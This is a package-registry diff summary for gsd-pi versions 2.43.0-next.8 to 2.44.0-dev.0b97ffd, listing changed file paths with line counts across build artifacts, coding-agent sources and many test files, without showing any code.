gsd-pi 2.43.0-next.8 → 2.44.0-dev.0b97ffd

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (399) hide show
  1. package/README.md +30 -12
  2. package/dist/cli.js +13 -1
  3. package/dist/help-text.js +24 -0
  4. package/dist/resources/extensions/gsd/auto-direct-dispatch.js +21 -8
  5. package/dist/resources/extensions/gsd/auto-prompts.js +130 -51
  6. package/dist/resources/extensions/gsd/auto-start.js +10 -0
  7. package/dist/resources/extensions/gsd/auto-worktree.js +16 -2
  8. package/dist/resources/extensions/gsd/commands/handlers/workflow.js +5 -0
  9. package/dist/resources/extensions/gsd/dispatch-guard.js +34 -10
  10. package/dist/resources/extensions/gsd/markdown-renderer.js +7 -5
  11. package/dist/resources/extensions/gsd/reactive-graph.js +13 -2
  12. package/dist/resources/extensions/gsd/skill-health.js +3 -1
  13. package/dist/resources/extensions/gsd/tools/plan-milestone.js +2 -11
  14. package/dist/resources/extensions/gsd/tools/plan-slice.js +2 -10
  15. package/dist/resources/extensions/gsd/visualizer-data.js +45 -13
  16. package/dist/resources/extensions/gsd/workspace-index.js +46 -15
  17. package/dist/web/standalone/.next/BUILD_ID +1 -1
  18. package/dist/web/standalone/.next/app-path-routes-manifest.json +18 -18
  19. package/dist/web/standalone/.next/build-manifest.json +3 -3
  20. package/dist/web/standalone/.next/prerender-manifest.json +3 -3
  21. package/dist/web/standalone/.next/required-server-files.json +4 -4
  22. package/dist/web/standalone/.next/server/app/_global-error/page.js +3 -3
  23. package/dist/web/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
  24. package/dist/web/standalone/.next/server/app/_global-error.html +2 -2
  25. package/dist/web/standalone/.next/server/app/_global-error.rsc +1 -1
  26. package/dist/web/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
  27. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error/__PAGE__.segment.rsc +1 -1
  28. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error.segment.rsc +1 -1
  29. package/dist/web/standalone/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
  30. package/dist/web/standalone/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
  31. package/dist/web/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  32. package/dist/web/standalone/.next/server/app/_not-found/page.js +2 -2
  33. package/dist/web/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
  34. package/dist/web/standalone/.next/server/app/_not-found.html +1 -1
  35. package/dist/web/standalone/.next/server/app/_not-found.rsc +3 -3
  36. package/dist/web/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +3 -3
  37. package/dist/web/standalone/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
  38. package/dist/web/standalone/.next/server/app/_not-found.segments/_index.segment.rsc +3 -3
  39. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
  40. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
  41. package/dist/web/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
  42. package/dist/web/standalone/.next/server/app/api/boot/route.js +1 -1
  43. package/dist/web/standalone/.next/server/app/api/boot/route_client-reference-manifest.js +1 -1
  44. package/dist/web/standalone/.next/server/app/api/bridge-terminal/input/route.js +1 -1
  45. package/dist/web/standalone/.next/server/app/api/bridge-terminal/input/route_client-reference-manifest.js +1 -1
  46. package/dist/web/standalone/.next/server/app/api/bridge-terminal/resize/route.js +1 -1
  47. package/dist/web/standalone/.next/server/app/api/bridge-terminal/resize/route_client-reference-manifest.js +1 -1
  48. package/dist/web/standalone/.next/server/app/api/bridge-terminal/stream/route.js +2 -2
  49. package/dist/web/standalone/.next/server/app/api/bridge-terminal/stream/route_client-reference-manifest.js +1 -1
  50. package/dist/web/standalone/.next/server/app/api/browse-directories/route.js +1 -1
  51. package/dist/web/standalone/.next/server/app/api/browse-directories/route_client-reference-manifest.js +1 -1
  52. package/dist/web/standalone/.next/server/app/api/captures/route.js +1 -1
  53. package/dist/web/standalone/.next/server/app/api/captures/route_client-reference-manifest.js +1 -1
  54. package/dist/web/standalone/.next/server/app/api/cleanup/route.js +1 -1
  55. package/dist/web/standalone/.next/server/app/api/cleanup/route_client-reference-manifest.js +1 -1
  56. package/dist/web/standalone/.next/server/app/api/dev-mode/route.js +1 -1
  57. package/dist/web/standalone/.next/server/app/api/dev-mode/route_client-reference-manifest.js +1 -1
  58. package/dist/web/standalone/.next/server/app/api/doctor/route.js +1 -1
  59. package/dist/web/standalone/.next/server/app/api/doctor/route_client-reference-manifest.js +1 -1
  60. package/dist/web/standalone/.next/server/app/api/export-data/route.js +1 -1
  61. package/dist/web/standalone/.next/server/app/api/export-data/route_client-reference-manifest.js +1 -1
  62. package/dist/web/standalone/.next/server/app/api/files/route.js +1 -1
  63. package/dist/web/standalone/.next/server/app/api/files/route_client-reference-manifest.js +1 -1
  64. package/dist/web/standalone/.next/server/app/api/forensics/route.js +1 -1
  65. package/dist/web/standalone/.next/server/app/api/forensics/route_client-reference-manifest.js +1 -1
  66. package/dist/web/standalone/.next/server/app/api/git/route.js +1 -1
  67. package/dist/web/standalone/.next/server/app/api/git/route_client-reference-manifest.js +1 -1
  68. package/dist/web/standalone/.next/server/app/api/history/route.js +1 -1
  69. package/dist/web/standalone/.next/server/app/api/history/route_client-reference-manifest.js +1 -1
  70. package/dist/web/standalone/.next/server/app/api/hooks/route.js +1 -1
  71. package/dist/web/standalone/.next/server/app/api/hooks/route_client-reference-manifest.js +1 -1
  72. package/dist/web/standalone/.next/server/app/api/inspect/route.js +1 -1
  73. package/dist/web/standalone/.next/server/app/api/inspect/route_client-reference-manifest.js +1 -1
  74. package/dist/web/standalone/.next/server/app/api/knowledge/route.js +1 -1
  75. package/dist/web/standalone/.next/server/app/api/knowledge/route_client-reference-manifest.js +1 -1
  76. package/dist/web/standalone/.next/server/app/api/live-state/route.js +1 -1
  77. package/dist/web/standalone/.next/server/app/api/live-state/route_client-reference-manifest.js +1 -1
  78. package/dist/web/standalone/.next/server/app/api/onboarding/route.js +1 -1
  79. package/dist/web/standalone/.next/server/app/api/onboarding/route_client-reference-manifest.js +1 -1
  80. package/dist/web/standalone/.next/server/app/api/preferences/route.js +1 -1
  81. package/dist/web/standalone/.next/server/app/api/preferences/route_client-reference-manifest.js +1 -1
  82. package/dist/web/standalone/.next/server/app/api/projects/route.js +1 -1
  83. package/dist/web/standalone/.next/server/app/api/projects/route_client-reference-manifest.js +1 -1
  84. package/dist/web/standalone/.next/server/app/api/recovery/route.js +1 -1
  85. package/dist/web/standalone/.next/server/app/api/recovery/route_client-reference-manifest.js +1 -1
  86. package/dist/web/standalone/.next/server/app/api/remote-questions/route.js +5 -5
  87. package/dist/web/standalone/.next/server/app/api/remote-questions/route_client-reference-manifest.js +1 -1
  88. package/dist/web/standalone/.next/server/app/api/session/browser/route.js +1 -1
  89. package/dist/web/standalone/.next/server/app/api/session/browser/route_client-reference-manifest.js +1 -1
  90. package/dist/web/standalone/.next/server/app/api/session/command/route.js +1 -1
  91. package/dist/web/standalone/.next/server/app/api/session/command/route_client-reference-manifest.js +1 -1
  92. package/dist/web/standalone/.next/server/app/api/session/events/route.js +2 -2
  93. package/dist/web/standalone/.next/server/app/api/session/events/route_client-reference-manifest.js +1 -1
  94. package/dist/web/standalone/.next/server/app/api/session/manage/route.js +1 -1
  95. package/dist/web/standalone/.next/server/app/api/session/manage/route_client-reference-manifest.js +1 -1
  96. package/dist/web/standalone/.next/server/app/api/settings-data/route.js +1 -1
  97. package/dist/web/standalone/.next/server/app/api/settings-data/route_client-reference-manifest.js +1 -1
  98. package/dist/web/standalone/.next/server/app/api/shutdown/route.js +1 -1
  99. package/dist/web/standalone/.next/server/app/api/shutdown/route_client-reference-manifest.js +1 -1
  100. package/dist/web/standalone/.next/server/app/api/skill-health/route.js +1 -1
  101. package/dist/web/standalone/.next/server/app/api/skill-health/route_client-reference-manifest.js +1 -1
  102. package/dist/web/standalone/.next/server/app/api/steer/route.js +1 -1
  103. package/dist/web/standalone/.next/server/app/api/steer/route_client-reference-manifest.js +1 -1
  104. package/dist/web/standalone/.next/server/app/api/switch-root/route.js +1 -1
  105. package/dist/web/standalone/.next/server/app/api/switch-root/route_client-reference-manifest.js +1 -1
  106. package/dist/web/standalone/.next/server/app/api/terminal/input/route.js +1 -1
  107. package/dist/web/standalone/.next/server/app/api/terminal/input/route_client-reference-manifest.js +1 -1
  108. package/dist/web/standalone/.next/server/app/api/terminal/resize/route.js +2 -2
  109. package/dist/web/standalone/.next/server/app/api/terminal/resize/route_client-reference-manifest.js +1 -1
  110. package/dist/web/standalone/.next/server/app/api/terminal/sessions/route.js +2 -2
  111. package/dist/web/standalone/.next/server/app/api/terminal/sessions/route_client-reference-manifest.js +1 -1
  112. package/dist/web/standalone/.next/server/app/api/terminal/stream/route.js +4 -4
  113. package/dist/web/standalone/.next/server/app/api/terminal/stream/route_client-reference-manifest.js +1 -1
  114. package/dist/web/standalone/.next/server/app/api/terminal/upload/route.js +1 -1
  115. package/dist/web/standalone/.next/server/app/api/terminal/upload/route_client-reference-manifest.js +1 -1
  116. package/dist/web/standalone/.next/server/app/api/undo/route.js +1 -1
  117. package/dist/web/standalone/.next/server/app/api/undo/route_client-reference-manifest.js +1 -1
  118. package/dist/web/standalone/.next/server/app/api/update/route.js +1 -1
  119. package/dist/web/standalone/.next/server/app/api/update/route_client-reference-manifest.js +1 -1
  120. package/dist/web/standalone/.next/server/app/api/visualizer/route.js +1 -1
  121. package/dist/web/standalone/.next/server/app/api/visualizer/route_client-reference-manifest.js +1 -1
  122. package/dist/web/standalone/.next/server/app/index.html +1 -1
  123. package/dist/web/standalone/.next/server/app/index.rsc +4 -4
  124. package/dist/web/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +2 -2
  125. package/dist/web/standalone/.next/server/app/index.segments/_full.segment.rsc +4 -4
  126. package/dist/web/standalone/.next/server/app/index.segments/_head.segment.rsc +1 -1
  127. package/dist/web/standalone/.next/server/app/index.segments/_index.segment.rsc +3 -3
  128. package/dist/web/standalone/.next/server/app/index.segments/_tree.segment.rsc +1 -1
  129. package/dist/web/standalone/.next/server/app/page.js +2 -2
  130. package/dist/web/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
  131. package/dist/web/standalone/.next/server/app-paths-manifest.json +18 -18
  132. package/dist/web/standalone/.next/server/chunks/229.js +1 -1
  133. package/dist/web/standalone/.next/server/chunks/471.js +3 -3
  134. package/dist/web/standalone/.next/server/middleware-build-manifest.js +1 -1
  135. package/dist/web/standalone/.next/server/middleware.js +2 -2
  136. package/dist/web/standalone/.next/server/next-font-manifest.js +1 -1
  137. package/dist/web/standalone/.next/server/next-font-manifest.json +1 -1
  138. package/dist/web/standalone/.next/server/pages/404.html +1 -1
  139. package/dist/web/standalone/.next/server/pages/500.html +2 -2
  140. package/dist/web/standalone/.next/server/server-reference-manifest.json +1 -1
  141. package/dist/web/standalone/.next/static/chunks/app/_not-found/page-f2a7482d42a5614b.js +1 -0
  142. package/dist/web/standalone/.next/static/chunks/app/layout-a16c7a7ecdf0c2cf.js +1 -0
  143. package/dist/web/standalone/.next/static/chunks/app/page-b9367c5ae13b99c6.js +1 -0
  144. package/dist/web/standalone/.next/static/chunks/{main-app-2f2ee7b85712c2bd.js → main-app-fdab67f7802d7832.js} +1 -1
  145. package/dist/web/standalone/.next/static/chunks/next/dist/client/components/builtin/global-error-459824ffb8c323dd.js +1 -0
  146. package/dist/web/standalone/node_modules/node-pty/build/Makefile +2 -2
  147. package/dist/web/standalone/node_modules/node-pty/build/Release/pty.node +0 -0
  148. package/dist/web/standalone/node_modules/node-pty/build/pty.target.mk +14 -14
  149. package/dist/web/standalone/node_modules/node-pty/node-addon-api/node_addon_api.target.mk +14 -14
  150. package/dist/web/standalone/node_modules/node-pty/node-addon-api/node_addon_api_except.target.mk +14 -14
  151. package/dist/web/standalone/node_modules/node-pty/node-addon-api/node_addon_api_maybe.target.mk +14 -14
  152. package/dist/web/standalone/server.js +1 -1
  153. package/package.json +4 -4
  154. package/packages/pi-coding-agent/dist/core/agent-session.d.ts +3 -3
  155. package/packages/pi-coding-agent/dist/core/agent-session.d.ts.map +1 -1
  156. package/packages/pi-coding-agent/dist/core/agent-session.js +11 -34
  157. package/packages/pi-coding-agent/dist/core/agent-session.js.map +1 -1
  158. package/packages/pi-coding-agent/dist/core/auth-storage.test.js +6 -8
  159. package/packages/pi-coding-agent/dist/core/auth-storage.test.js.map +1 -1
  160. package/packages/pi-coding-agent/dist/core/compaction/branch-summarization.d.ts +2 -2
  161. package/packages/pi-coding-agent/dist/core/compaction/branch-summarization.d.ts.map +1 -1
  162. package/packages/pi-coding-agent/dist/core/compaction/branch-summarization.js.map +1 -1
  163. package/packages/pi-coding-agent/dist/core/compaction/compaction.d.ts +2 -2
  164. package/packages/pi-coding-agent/dist/core/compaction/compaction.d.ts.map +1 -1
  165. package/packages/pi-coding-agent/dist/core/compaction/compaction.js.map +1 -1
  166. package/packages/pi-coding-agent/dist/core/compaction-orchestrator.js +4 -4
  167. package/packages/pi-coding-agent/dist/core/compaction-orchestrator.js.map +1 -1
  168. package/packages/pi-coding-agent/dist/core/extensions/index.d.ts +1 -1
  169. package/packages/pi-coding-agent/dist/core/extensions/index.d.ts.map +1 -1
  170. package/packages/pi-coding-agent/dist/core/extensions/index.js.map +1 -1
  171. package/packages/pi-coding-agent/dist/core/extensions/loader.d.ts.map +1 -1
  172. package/packages/pi-coding-agent/dist/core/extensions/loader.js +18 -0
  173. package/packages/pi-coding-agent/dist/core/extensions/loader.js.map +1 -1
  174. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js +24 -26
  175. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js.map +1 -1
  176. package/packages/pi-coding-agent/dist/core/extensions/types.d.ts +37 -0
  177. package/packages/pi-coding-agent/dist/core/extensions/types.d.ts.map +1 -1
  178. package/packages/pi-coding-agent/dist/core/extensions/types.js.map +1 -1
  179. package/packages/pi-coding-agent/dist/core/fallback-resolver.d.ts.map +1 -1
  180. package/packages/pi-coding-agent/dist/core/fallback-resolver.js +2 -3
  181. package/packages/pi-coding-agent/dist/core/fallback-resolver.js.map +1 -1
  182. package/packages/pi-coding-agent/dist/core/fallback-resolver.test.js +12 -2
  183. package/packages/pi-coding-agent/dist/core/fallback-resolver.test.js.map +1 -1
  184. package/packages/pi-coding-agent/dist/core/fs-utils.test.js +29 -48
  185. package/packages/pi-coding-agent/dist/core/fs-utils.test.js.map +1 -1
  186. package/packages/pi-coding-agent/dist/core/lifecycle-hooks.d.ts +38 -0
  187. package/packages/pi-coding-agent/dist/core/lifecycle-hooks.d.ts.map +1 -0
  188. package/packages/pi-coding-agent/dist/core/lifecycle-hooks.js +192 -0
  189. package/packages/pi-coding-agent/dist/core/lifecycle-hooks.js.map +1 -0
  190. package/packages/pi-coding-agent/dist/core/model-registry-auth-mode.test.d.ts +2 -0
  191. package/packages/pi-coding-agent/dist/core/model-registry-auth-mode.test.d.ts.map +1 -0
  192. package/packages/pi-coding-agent/dist/core/model-registry-auth-mode.test.js +255 -0
  193. package/packages/pi-coding-agent/dist/core/model-registry-auth-mode.test.js.map +1 -0
  194. package/packages/pi-coding-agent/dist/core/model-registry.d.ts +15 -0
  195. package/packages/pi-coding-agent/dist/core/model-registry.d.ts.map +1 -1
  196. package/packages/pi-coding-agent/dist/core/model-registry.js +40 -3
  197. package/packages/pi-coding-agent/dist/core/model-registry.js.map +1 -1
  198. package/packages/pi-coding-agent/dist/core/package-commands.d.ts +25 -0
  199. package/packages/pi-coding-agent/dist/core/package-commands.d.ts.map +1 -0
  200. package/packages/pi-coding-agent/dist/core/package-commands.js +253 -0
  201. package/packages/pi-coding-agent/dist/core/package-commands.js.map +1 -0
  202. package/packages/pi-coding-agent/dist/core/package-commands.test.d.ts +2 -0
  203. package/packages/pi-coding-agent/dist/core/package-commands.test.d.ts.map +1 -0
  204. package/packages/pi-coding-agent/dist/core/package-commands.test.js +225 -0
  205. package/packages/pi-coding-agent/dist/core/package-commands.test.js.map +1 -0
  206. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js +34 -44
  207. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map +1 -1
  208. package/packages/pi-coding-agent/dist/core/sdk.d.ts.map +1 -1
  209. package/packages/pi-coding-agent/dist/core/sdk.js +4 -0
  210. package/packages/pi-coding-agent/dist/core/sdk.js.map +1 -1
  211. package/packages/pi-coding-agent/dist/core/session-manager.test.js +30 -34
  212. package/packages/pi-coding-agent/dist/core/session-manager.test.js.map +1 -1
  213. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js +10 -12
  214. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js.map +1 -1
  215. package/packages/pi-coding-agent/dist/index.d.ts +3 -1
  216. package/packages/pi-coding-agent/dist/index.d.ts.map +1 -1
  217. package/packages/pi-coding-agent/dist/index.js +1 -0
  218. package/packages/pi-coding-agent/dist/index.js.map +1 -1
  219. package/packages/pi-coding-agent/dist/main.d.ts.map +1 -1
  220. package/packages/pi-coding-agent/dist/main.js +11 -199
  221. package/packages/pi-coding-agent/dist/main.js.map +1 -1
  222. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js +43 -47
  223. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js.map +1 -1
  224. package/packages/pi-coding-agent/package.json +1 -1
  225. package/packages/pi-coding-agent/src/core/agent-session.ts +13 -37
  226. package/packages/pi-coding-agent/src/core/auth-storage.test.ts +7 -7
  227. package/packages/pi-coding-agent/src/core/compaction/branch-summarization.ts +2 -2
  228. package/packages/pi-coding-agent/src/core/compaction/compaction.ts +3 -3
  229. package/packages/pi-coding-agent/src/core/compaction-orchestrator.ts +4 -4
  230. package/packages/pi-coding-agent/src/core/extensions/index.ts +5 -0
  231. package/packages/pi-coding-agent/src/core/extensions/loader.ts +23 -0
  232. package/packages/pi-coding-agent/src/core/extensions/runner.test.ts +26 -26
  233. package/packages/pi-coding-agent/src/core/extensions/types.ts +44 -0
  234. package/packages/pi-coding-agent/src/core/fallback-resolver.test.ts +15 -2
  235. package/packages/pi-coding-agent/src/core/fallback-resolver.ts +2 -3
  236. package/packages/pi-coding-agent/src/core/fs-utils.test.ts +31 -43
  237. package/packages/pi-coding-agent/src/core/lifecycle-hooks.ts +274 -0
  238. package/packages/pi-coding-agent/src/core/model-registry-auth-mode.test.ts +288 -0
  239. package/packages/pi-coding-agent/src/core/model-registry.ts +39 -3
  240. package/packages/pi-coding-agent/src/core/package-commands.test.ts +240 -0
  241. package/packages/pi-coding-agent/src/core/package-commands.ts +310 -0
  242. package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +40 -45
  243. package/packages/pi-coding-agent/src/core/sdk.ts +4 -0
  244. package/packages/pi-coding-agent/src/core/session-manager.test.ts +33 -33
  245. package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +17 -17
  246. package/packages/pi-coding-agent/src/index.ts +7 -0
  247. package/packages/pi-coding-agent/src/main.ts +11 -232
  248. package/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +74 -74
  249. package/pkg/package.json +1 -1
  250. package/src/resources/extensions/gsd/auto-direct-dispatch.ts +22 -7
  251. package/src/resources/extensions/gsd/auto-prompts.ts +109 -42
  252. package/src/resources/extensions/gsd/auto-start.ts +14 -0
  253. package/src/resources/extensions/gsd/auto-worktree.ts +16 -3
  254. package/src/resources/extensions/gsd/commands/handlers/workflow.ts +8 -0
  255. package/src/resources/extensions/gsd/dispatch-guard.ts +28 -10
  256. package/src/resources/extensions/gsd/markdown-renderer.ts +7 -5
  257. package/src/resources/extensions/gsd/reactive-graph.ts +12 -2
  258. package/src/resources/extensions/gsd/skill-health.ts +2 -1
  259. package/src/resources/extensions/gsd/tests/all-milestones-complete-merge.test.ts +99 -99
  260. package/src/resources/extensions/gsd/tests/auto-lock-creation.test.ts +14 -16
  261. package/src/resources/extensions/gsd/tests/auto-paused-session-validation.test.ts +43 -57
  262. package/src/resources/extensions/gsd/tests/auto-preflight.test.ts +11 -13
  263. package/src/resources/extensions/gsd/tests/auto-recovery.test.ts +465 -523
  264. package/src/resources/extensions/gsd/tests/auto-secrets-gate.test.ts +73 -75
  265. package/src/resources/extensions/gsd/tests/auto-start-needs-discussion.test.ts +34 -56
  266. package/src/resources/extensions/gsd/tests/auto-stash-merge.test.ts +3 -3
  267. package/src/resources/extensions/gsd/tests/auto-worktree-milestone-merge.test.ts +533 -656
  268. package/src/resources/extensions/gsd/tests/auto-worktree.test.ts +165 -143
  269. package/src/resources/extensions/gsd/tests/cache-staleness-regression.test.ts +29 -52
  270. package/src/resources/extensions/gsd/tests/captures.test.ts +148 -176
  271. package/src/resources/extensions/gsd/tests/claude-import-tui.test.ts +32 -33
  272. package/src/resources/extensions/gsd/tests/collect-from-manifest.test.ts +141 -143
  273. package/src/resources/extensions/gsd/tests/commands-inspect-open-db.test.ts +25 -25
  274. package/src/resources/extensions/gsd/tests/commands-logs.test.ts +81 -81
  275. package/src/resources/extensions/gsd/tests/complete-milestone.test.ts +38 -59
  276. package/src/resources/extensions/gsd/tests/complete-slice.test.ts +228 -263
  277. package/src/resources/extensions/gsd/tests/complete-task.test.ts +250 -302
  278. package/src/resources/extensions/gsd/tests/context-store.test.ts +354 -367
  279. package/src/resources/extensions/gsd/tests/continue-here.test.ts +68 -72
  280. package/src/resources/extensions/gsd/tests/cost-projection.test.ts +92 -106
  281. package/src/resources/extensions/gsd/tests/crash-recovery.test.ts +27 -35
  282. package/src/resources/extensions/gsd/tests/dashboard-budget.test.ts +220 -237
  283. package/src/resources/extensions/gsd/tests/db-writer.test.ts +390 -420
  284. package/src/resources/extensions/gsd/tests/definition-loader.test.ts +76 -92
  285. package/src/resources/extensions/gsd/tests/derive-state-crossval.test.ts +68 -83
  286. package/src/resources/extensions/gsd/tests/derive-state-db.test.ts +152 -183
  287. package/src/resources/extensions/gsd/tests/derive-state-deps.test.ts +78 -101
  288. package/src/resources/extensions/gsd/tests/derive-state.test.ts +192 -227
  289. package/src/resources/extensions/gsd/tests/detection.test.ts +232 -278
  290. package/src/resources/extensions/gsd/tests/dev-engine-wrapper.test.ts +30 -34
  291. package/src/resources/extensions/gsd/tests/dispatch-guard.test.ts +164 -180
  292. package/src/resources/extensions/gsd/tests/dispatch-missing-task-plans.test.ts +43 -49
  293. package/src/resources/extensions/gsd/tests/dispatch-uat-last-completed.test.ts +28 -32
  294. package/src/resources/extensions/gsd/tests/doctor-completion-deferral.test.ts +27 -29
  295. package/src/resources/extensions/gsd/tests/doctor-delimiter-fix.test.ts +34 -38
  296. package/src/resources/extensions/gsd/tests/doctor-enhancements.test.ts +54 -75
  297. package/src/resources/extensions/gsd/tests/doctor-environment-worktree.test.ts +21 -32
  298. package/src/resources/extensions/gsd/tests/doctor-environment.test.ts +72 -97
  299. package/src/resources/extensions/gsd/tests/doctor-fixlevel.test.ts +38 -44
  300. package/src/resources/extensions/gsd/tests/doctor-git.test.ts +104 -145
  301. package/src/resources/extensions/gsd/tests/doctor-proactive.test.ts +84 -106
  302. package/src/resources/extensions/gsd/tests/doctor-roadmap-summary-atomicity.test.ts +54 -60
  303. package/src/resources/extensions/gsd/tests/doctor-runtime.test.ts +72 -93
  304. package/src/resources/extensions/gsd/tests/doctor.test.ts +104 -134
  305. package/src/resources/extensions/gsd/tests/ensure-db-open.test.ts +123 -131
  306. package/src/resources/extensions/gsd/tests/exit-command.test.ts +20 -24
  307. package/src/resources/extensions/gsd/tests/feature-branch-lifecycle-integration.test.ts +48 -57
  308. package/src/resources/extensions/gsd/tests/files-loadfile-eisdir.test.ts +5 -7
  309. package/src/resources/extensions/gsd/tests/flag-file-db.test.ts +30 -42
  310. package/src/resources/extensions/gsd/tests/freeform-decisions.test.ts +198 -206
  311. package/src/resources/extensions/gsd/tests/git-locale.test.ts +13 -27
  312. package/src/resources/extensions/gsd/tests/git-service.test.ts +285 -388
  313. package/src/resources/extensions/gsd/tests/gitignore-tracked-gsd.test.ts +31 -39
  314. package/src/resources/extensions/gsd/tests/graph-operations.test.ts +63 -69
  315. package/src/resources/extensions/gsd/tests/gsd-db.test.ts +255 -264
  316. package/src/resources/extensions/gsd/tests/gsd-inspect.test.ts +108 -119
  317. package/src/resources/extensions/gsd/tests/gsd-recover.test.ts +81 -103
  318. package/src/resources/extensions/gsd/tests/gsd-tools.test.ts +229 -262
  319. package/src/resources/extensions/gsd/tests/headless-answers.test.ts +13 -13
  320. package/src/resources/extensions/gsd/tests/health-widget.test.ts +29 -37
  321. package/src/resources/extensions/gsd/tests/idle-recovery.test.ts +81 -102
  322. package/src/resources/extensions/gsd/tests/init-wizard.test.ts +16 -18
  323. package/src/resources/extensions/gsd/tests/integration-edge.test.ts +41 -46
  324. package/src/resources/extensions/gsd/tests/integration-lifecycle.test.ts +42 -53
  325. package/src/resources/extensions/gsd/tests/integration-mixed-milestones.test.ts +75 -91
  326. package/src/resources/extensions/gsd/tests/integration-proof.test.ts +18 -18
  327. package/src/resources/extensions/gsd/tests/markdown-renderer.test.ts +150 -194
  328. package/src/resources/extensions/gsd/tests/md-importer.test.ts +101 -125
  329. package/src/resources/extensions/gsd/tests/memory-extractor.test.ts +45 -54
  330. package/src/resources/extensions/gsd/tests/memory-store.test.ts +80 -93
  331. package/src/resources/extensions/gsd/tests/migrate-command.test.ts +57 -66
  332. package/src/resources/extensions/gsd/tests/migrate-hierarchy.test.ts +83 -93
  333. package/src/resources/extensions/gsd/tests/migrate-parser.test.ts +161 -170
  334. package/src/resources/extensions/gsd/tests/migrate-transformer.test.ts +125 -141
  335. package/src/resources/extensions/gsd/tests/migrate-validator-parsers.test.ts +107 -131
  336. package/src/resources/extensions/gsd/tests/migrate-writer-integration.test.ts +87 -96
  337. package/src/resources/extensions/gsd/tests/migrate-writer.test.ts +125 -164
  338. package/src/resources/extensions/gsd/tests/must-have-parser.test.ts +81 -94
  339. package/src/resources/extensions/gsd/tests/none-mode-gates.test.ts +35 -36
  340. package/src/resources/extensions/gsd/tests/overrides.test.ts +99 -106
  341. package/src/resources/extensions/gsd/tests/parallel-crash-recovery.test.ts +40 -47
  342. package/src/resources/extensions/gsd/tests/parallel-worker-monitoring.test.ts +25 -28
  343. package/src/resources/extensions/gsd/tests/parallel-workers-multi-milestone-e2e.test.ts +66 -83
  344. package/src/resources/extensions/gsd/tests/park-edge-cases.test.ts +54 -77
  345. package/src/resources/extensions/gsd/tests/park-milestone.test.ts +68 -115
  346. package/src/resources/extensions/gsd/tests/parsers.test.ts +546 -611
  347. package/src/resources/extensions/gsd/tests/paths.test.ts +72 -87
  348. package/src/resources/extensions/gsd/tests/post-unit-hooks.test.ts +77 -117
  349. package/src/resources/extensions/gsd/tests/prompt-db.test.ts +56 -56
  350. package/src/resources/extensions/gsd/tests/queue-draft-detection.test.ts +93 -119
  351. package/src/resources/extensions/gsd/tests/queue-order.test.ts +70 -82
  352. package/src/resources/extensions/gsd/tests/queue-reorder-e2e.test.ts +42 -55
  353. package/src/resources/extensions/gsd/tests/quick-auto-guard.test.ts +100 -0
  354. package/src/resources/extensions/gsd/tests/quick-branch-lifecycle.test.ts +45 -73
  355. package/src/resources/extensions/gsd/tests/reassess-prompt.test.ts +28 -38
  356. package/src/resources/extensions/gsd/tests/replan-slice.test.ts +73 -80
  357. package/src/resources/extensions/gsd/tests/repo-identity-worktree.test.ts +71 -74
  358. package/src/resources/extensions/gsd/tests/requirements.test.ts +70 -75
  359. package/src/resources/extensions/gsd/tests/retry-state-reset.test.ts +44 -66
  360. package/src/resources/extensions/gsd/tests/roadmap-parse-regression.test.ts +114 -181
  361. package/src/resources/extensions/gsd/tests/rule-registry.test.ts +63 -65
  362. package/src/resources/extensions/gsd/tests/run-uat.test.ts +66 -128
  363. package/src/resources/extensions/gsd/tests/session-lock-multipath.test.ts +18 -25
  364. package/src/resources/extensions/gsd/tests/session-lock-regression.test.ts +37 -44
  365. package/src/resources/extensions/gsd/tests/shared-wal.test.ts +19 -26
  366. package/src/resources/extensions/gsd/tests/sqlite-unavailable-gate.test.ts +63 -0
  367. package/src/resources/extensions/gsd/tests/stalled-tool-recovery.test.ts +6 -8
  368. package/src/resources/extensions/gsd/tests/symlink-numbered-variants.test.ts +22 -28
  369. package/src/resources/extensions/gsd/tests/token-savings.test.ts +54 -56
  370. package/src/resources/extensions/gsd/tests/tool-call-loop-guard.test.ts +23 -25
  371. package/src/resources/extensions/gsd/tests/tool-naming.test.ts +9 -11
  372. package/src/resources/extensions/gsd/tests/unique-milestone-ids.test.ts +66 -82
  373. package/src/resources/extensions/gsd/tests/unit-runtime.test.ts +46 -47
  374. package/src/resources/extensions/gsd/tests/visualizer-critical-path.test.ts +20 -22
  375. package/src/resources/extensions/gsd/tests/visualizer-data.test.ts +84 -86
  376. package/src/resources/extensions/gsd/tests/visualizer-overlay.test.ts +41 -43
  377. package/src/resources/extensions/gsd/tests/visualizer-views.test.ts +94 -96
  378. package/src/resources/extensions/gsd/tests/windows-path-normalization.test.ts +11 -13
  379. package/src/resources/extensions/gsd/tests/worker-registry.test.ts +27 -29
  380. package/src/resources/extensions/gsd/tests/workflow-templates.test.ts +50 -52
  381. package/src/resources/extensions/gsd/tests/worktree-bugfix.test.ts +10 -13
  382. package/src/resources/extensions/gsd/tests/worktree-db-integration.test.ts +14 -18
  383. package/src/resources/extensions/gsd/tests/worktree-db.test.ts +38 -39
